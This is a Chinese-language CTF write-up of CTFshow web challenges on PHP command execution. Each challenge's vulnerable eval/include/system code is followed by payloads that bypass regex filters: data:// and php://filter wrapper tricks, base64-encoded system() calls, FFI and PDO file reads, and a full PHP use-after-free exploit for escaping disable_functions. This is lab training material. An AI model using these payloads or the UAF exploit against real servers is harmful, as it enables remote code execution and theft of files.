[CTFshow] 命令执行

发布于 2021-10-06  189 次阅读


web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
   $c = $_GET['c'];
   if(!preg_match("/flag/i", $c)){
       eval($c);
  }
   
}else{
   highlight_file(__FILE__);
}

只是过滤了flag字符串,代码还是很简单的。下面 直接给payload

# 查看当前路径下的文件有那些
?c=system("pwd | ls");
# 读取flag.php
?c=system("cat fla*");
?c=system("cat fla?.php");
?c=system("cat fla");
?c=eval($_GET[1]);&1=system('nl flag.php');

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
   $c = $_GET['c'];
   if(!preg_match("/flag|system|php/i", $c)){
       eval($c);
  }
   
}else{
   highlight_file(__FILE__);
}

这次增加了systemphp被过滤

# 构造参数绕过
?c=eval($_GET[1]);&1=system("cat flag.php");

# 替换system()
?c=echo shell_exec("cat fla?.???");
?c=echo shell_exec("cat fla*");
?c=passthru("cat fla*");

# 使用反引号进行命令执行
?c=echo `cat fla*`;

命令执行函数

exec() - 执行一个外部程序
system() - 执行外部程序,并且显示输出
passthru() — 执行外部程序并且显示原始输出
shell_exec() - 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
   $c = $_GET['c'];
   if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
       eval($c);
  }
   
}else{
   highlight_file(__FILE__);
}

过滤又变多多了,还过滤了空格

# cat 可以用 nl 代替
# 空格可以使用%09绕过
# 使用 echo 加 反引号 执行命令
?c=echo`nl%09fla*`;

# 高亮显示文件
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

# php伪协议
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

web32-36

<?php
error_reporting(0);
if(isset($_GET['c'])){
   $c = $_GET['c'];
   if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
       eval($c);
  }
   
}else{
   highlight_file(__FILE__);
}

payload:

# include 不带括号可以用?> 代替
# php伪协议
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

Payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
?c=data://text/palin,<?php system("nl fla*");?>

web38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

payload:

# 多过滤了  php 和 file
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
?c=data://text/palin,<?=system("nl fla*");

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
?c=data://text/palin,<?php system("nl f*");?>
# 这里一直在思考能不能截断不拼接后面的.php 或者伪协议如何能拼接flag 绕过 对 flag的 过滤 这样的话就能使用 php://filter/read=convert.base64-encode/resource=flag,但是 到这里 就没有 什么思路了

web40

<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

# 这个题很坑,一开始想到异或构造关键字符,刚要构造,发现所有的括号都被ban了,人已经麻了。后来看了别的师傅的wp发现,过滤的竟然是中文括号,跟我英文括号有什么关系,真的被坑到了!!!
# 可以使用 函数读取源码
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web41

没啥说的,直接用羽师傅的脚本,师傅太牛逼了!!!

https://wp.ctf.show/d/137-ctfshow-web-web41

web42

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

这个就很有意思,要把命令执行之后的数据重定向到空里,也就是丢弃掉,因此采用截断,这里采用的是 || 当前面的命令正常执行之后,后面的命令不在执行,反之执行后面的命令。

image-20210924105816135

web43

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

稍微进行变形,过滤了;cat,直接用nl代替cat绕过

web44

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

依旧是简单变形,多过滤了flag字符,对flag字符进行拼接,可以绕过。Payload:

?c=nl fla?.php ||
?c=nl fla* ||

web45-web56

因为忘记保存了,只能记录一些重要的信息了。

https://blog.csdn.net/qq_46091464/article/details/108513145
/?c=/???/????64+????.???
/?c=mv${IFS}fla?.php${IFS}t.tx''t

web57

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
# 过滤的非常严格,但是题目也做了相应的简化,只需在shell情况下拼接出数字36,这里师傅描述的很清晰,我也就不赘述了。
https://blog.csdn.net/weixin_45551083/article/details/110096787

web58

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

这个题一开始想要命令执行,但是明显写好了一个木马文件,直接webshell连接读取flag,这下连disable_func都不用绕了,美滋滋,下面的题一直到66题,都可以这么做

web59-65

c=var_dump(file('flag.php'));
c=highlight_file("flag.php");
c=show_source('flag.php');

web66

c=var_dump(scandir("/"));
c=highlight_file('/flag.txt');

web67-70

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
# 这里其实就相当于,利用两个函数将缓冲区清空,导致没有回显,这里使用exit(0); 在eval处提前结束函数,使得后面的函数不会执行,从而快落RCE
c=include('/flag.txt');exit(0);

web72

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

代码没有变化,但是payload,分析报错,flag不在根目录下面了,想办法遍历目录。

# 学会了新的姿势遍历目录,真高兴
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
# uaf 脚本我直接白嫖
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73-74

上一题学到的技巧遍历目录,得到FLAG位置/flagc.txt,直接文件包含。

web75-76

这道题很骚,要利用数据库连接数据,去读取文件,直接上payload

c=try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null;
} catch (PDOException $e) { echo $e->getMessage(); exit(0);
}exit(0);

web77

# 首先上面一样的操作扫目录
# 提示php7.4 想到FFI绕过,这里因为存在readflag,直接执行它
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
$ffi = FFI::cdef( "int system(const char *command);");
$ffi->system("/readflag > 1.txt");
exit();
# 这时flag存在1.txt,直接读取1.txt
c=include("1.txt");exit(0);

web118

# 关键函数被过滤,使用内置的命令构造字符
${PWD} /var/www/html
${PWD:~0} l
${PATH} /bin
${PATH:~0} n
# 最终得到flag
${PATH:~C}${PWD:~C}$IFS????.???